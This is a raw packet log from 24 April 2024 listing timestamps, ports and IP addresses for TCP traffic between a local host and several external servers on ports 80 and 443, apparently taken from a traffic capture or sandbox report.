Apr 24, 2024 17:47:01.084995031 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.085007906 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.085048914 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.085099936 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.085103989 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.085103989 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.085144043 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.085171938 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.085221052 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.085225105 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.085324049 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.085342884 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.085390091 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.085393906 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.085443974 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.085458040 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.085489035 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.085494995 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.085546017 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.085549116 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.085596085 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.085597038 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.085649014 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.085649014 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.085699081 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.085700989 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.085748911 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.085750103 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.085803032 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.085808039 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.085851908 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.085855007 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.085896969 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.085905075 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.085952044 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.085954905 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.086004972 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.086008072 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.086055040 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.086059093 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.086107016 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.086110115 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.086162090 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.086167097 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.086210966 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.086213112 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.086261034 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.086266994 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.086318016 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.086318016 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.086368084 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.086379051 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.086421967 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.086424112 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.086472034 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.086473942 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.086524010 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.086525917 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.086576939 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.086581945 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.086627007 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.086632013 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.086673975 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.086678028 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.086729050 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.086730003 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.086782932 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.086785078 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.086832047 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.086833000 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.086883068 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.086884022 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.086935997 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.086935997 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.086987972 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.086994886 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.087032080 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.087039948 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.087090015 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.087090015 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.087138891 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.087140083 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.087187052 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.087192059 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.087243080 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.087244987 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.087291956 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.087291956 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.087336063 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.087343931 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.087393045 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.087393045 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.087440968 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.087445974 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.087496042 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.087544918 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.087573051 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.087574005 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.087594986 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.087595940 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.087646008 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.087650061 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.087699890 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.087732077 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.087749958 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.087755919 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.087798119 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.087805033 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.087855101 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.087861061 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.087901115 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.087904930 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.087954044 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.087956905 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.088010073 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.088011026 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.088057041 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.088061094 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.088120937 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.088130951 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.088180065 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.088181019 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.088231087 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.088233948 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.088279009 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.088280916 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.088330030 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.088331938 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.088378906 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.088471889 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.088521957 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.088521957 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.088574886 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.088576078 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.088624001 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.088624954 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.088675976 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.088675976 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.088732004 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.088735104 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.088784933 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.088800907 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.088829041 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.088838100 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.088888884 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.088890076 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.088942051 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.088942051 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.088994980 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.088996887 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.089046001 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.089046955 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.089095116 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.089098930 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.089148045 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.089170933 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.089195013 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.089199066 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.089246035 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.089251041 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.089299917 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.089301109 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.089348078 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.089350939 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.089396954 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.089401007 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.089451075 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.089453936 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.089500904 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.089509964 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.089545965 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.089550972 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.089598894 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.089601040 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.089651108 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.089654922 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.089704990 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.089705944 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.089755058 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.089760065 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.089808941 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.089809895 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.089858055 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.089859009 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.089910030 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.089920998 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.089953899 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.089960098 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.090010881 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.090014935 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.090058088 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.090060949 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.090112925 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.090116024 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.090159893 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.090162992 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.090210915 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.090214014 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.090265036 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.090265989 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.090316057 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.090316057 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.090362072 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.164598942 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.164701939 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.164700985 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.164755106 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.164769888 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.164802074 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.164809942 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.164863110 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.164865017 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.164913893 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.164930105 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.164982080 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.164992094 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.165026903 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.165034056 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.165082932 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.165082932 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.165133953 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.165138006 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.165183067 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.165184975 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.165232897 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.165236950 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.165290117 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.165291071 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.165344954 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.175014973 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 17:47:01.481717110 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 17:47:01.511941910 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:01.807677031 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:01.807770014 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:01.814193010 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:01.977127075 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 17:47:01.977195024 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 17:47:01.977268934 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 17:47:01.986488104 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 17:47:01.986552954 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 17:47:02.309600115 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:02.325098991 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 17:47:02.325175047 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 17:47:02.372937918 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 17:47:02.372957945 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 17:47:02.373475075 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 17:47:02.373549938 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 17:47:02.374705076 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 17:47:02.420115948 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 17:47:02.811851978 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 17:47:02.811938047 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 17:47:02.811942101 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 17:47:02.811971903 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 17:47:02.811995983 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 17:47:02.812019110 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 17:47:02.812021971 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 17:47:02.812045097 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 17:47:02.812063932 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 17:47:02.812092066 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 17:47:02.968070030 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 17:47:02.968122959 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 17:47:02.968146086 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 17:47:02.968154907 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 17:47:02.968173981 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 17:47:02.968188047 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 17:47:02.996315002 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 17:47:02.996397018 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 17:47:02.996406078 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 17:47:02.996419907 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 17:47:02.996462107 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 17:47:02.996956110 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 17:47:02.996965885 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 17:47:03.024946928 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:03.025037050 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:03.025131941 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:03.025660992 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:03.025692940 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:03.178728104 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:03.178746939 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:03.178854942 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:03.474590063 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:03.474666119 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:04.037923098 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:04.038086891 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:04.043428898 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:04.043442965 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:04.043667078 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:04.043729067 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:04.044470072 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:04.088164091 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:04.327364922 CEST	49739	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:47:04.327410936 CEST	443	49739	172.67.139.220	192.168.2.4
Apr 24, 2024 17:47:04.327528000 CEST	49739	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:47:04.349066973 CEST	49739	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:47:04.349081993 CEST	443	49739	172.67.139.220	192.168.2.4
Apr 24, 2024 17:47:04.686558008 CEST	443	49739	172.67.139.220	192.168.2.4
Apr 24, 2024 17:47:04.686635971 CEST	49739	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:47:04.700149059 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:04.700237036 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:04.700248003 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:04.700315952 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:04.705440044 CEST	49739	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:47:04.705456018 CEST	443	49739	172.67.139.220	192.168.2.4
Apr 24, 2024 17:47:04.706355095 CEST	443	49739	172.67.139.220	192.168.2.4
Apr 24, 2024 17:47:04.706429958 CEST	49739	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:47:04.743074894 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:04.743117094 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:04.743298054 CEST	49739	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:47:04.774012089 CEST	49740	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:04.774045944 CEST	443	49740	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:04.774168968 CEST	49740	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:04.774586916 CEST	49740	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:04.774600983 CEST	443	49740	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:04.788113117 CEST	443	49739	172.67.139.220	192.168.2.4
Apr 24, 2024 17:47:05.430754900 CEST	443	49740	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:05.431138992 CEST	49740	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:05.431529999 CEST	49740	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:05.431535959 CEST	443	49740	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:05.433106899 CEST	49740	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:05.433110952 CEST	443	49740	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:05.457154036 CEST	443	49739	172.67.139.220	192.168.2.4
Apr 24, 2024 17:47:05.457248926 CEST	49739	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:47:05.457273960 CEST	443	49739	172.67.139.220	192.168.2.4
Apr 24, 2024 17:47:05.457413912 CEST	49739	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:47:05.457418919 CEST	443	49739	172.67.139.220	192.168.2.4
Apr 24, 2024 17:47:05.457459927 CEST	49739	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:47:05.457463980 CEST	443	49739	172.67.139.220	192.168.2.4
Apr 24, 2024 17:47:05.457515955 CEST	49739	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:47:05.457524061 CEST	443	49739	172.67.139.220	192.168.2.4
Apr 24, 2024 17:47:05.457573891 CEST	49739	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:47:05.457794905 CEST	49739	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:47:05.457808018 CEST	443	49739	172.67.139.220	192.168.2.4
Apr 24, 2024 17:47:06.489682913 CEST	443	49740	95.217.9.149	192.168.2.4
